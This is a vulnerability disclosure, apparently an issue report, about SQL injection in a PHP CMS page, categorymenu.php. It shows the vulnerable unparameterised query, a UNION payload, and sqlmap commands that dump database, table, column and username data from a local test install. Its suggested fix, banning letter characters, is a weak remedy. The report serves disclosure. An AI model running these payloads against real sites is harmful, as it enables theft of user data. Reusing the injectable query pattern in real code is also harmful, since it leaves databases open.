SQL injection in categorymenu page

[b1u3s]

Description

I found a SQL inject vulnerability in page categorymenu.php and I build a local environment to test it.

The url is http://127.0.0.1/PHP-CMS/categorymenu.php

The problem code is here.

 <?php
if(isset($_GET['category'])){
    $post_category_id = $_GET['category'];
}
$query = "SELECT * FROM posts WHERE post_category_id = {$post_category_id} ";
$select_all_posts_count_query = mysqli_query($connection,$query);
$count = mysqli_num_rows($select_all_posts_count_query);
confirm_query($select_all_posts_count_query);
……
while($row = mysqli_fetch_assoc($select_all_posts_count_query)){
    $post_id = $row['post_id'];
    $post_title = $row['post_title'];
    $post_user = $row['post_user'];
    $post_date = $row['post_date'];
    $post_image = $row['post_image'];
    $post_content = $row['post_content'];
?>

Users can control the parameter "category" by GET method without any filter,and get something that shouldn't have been queried.Such as,if "category" is changed like "-1 union select 1,2,user(),4,5,6,7,8,9,10,11",you will get the database user:

Proof

I use the sqlmap to do this.

1.Get database information.

sqlmap -u http://127.0.0.1/PHP-CMS/categorymenu.php?category=1 --dbs

2.Select a database and get table information

sqlmap -u http://127.0.0.1/PHP-CMS/categorymenu.php?category=1 -D cms --tables

3.Select a table and get the columns

sqlmap -u http://127.0.0.1/PHP-CMS/categorymenu.php?category=1 -D cms -T users --columns

4.Select the columns and get column contents.

sqlmap -u http://127.0.0.1/PHP-CMS/categorymenu.php?category=1 -D cms -T users -C username --dump

Solution

You can fix it by add some filter rules on the parameter "category",such as ban the letter characters.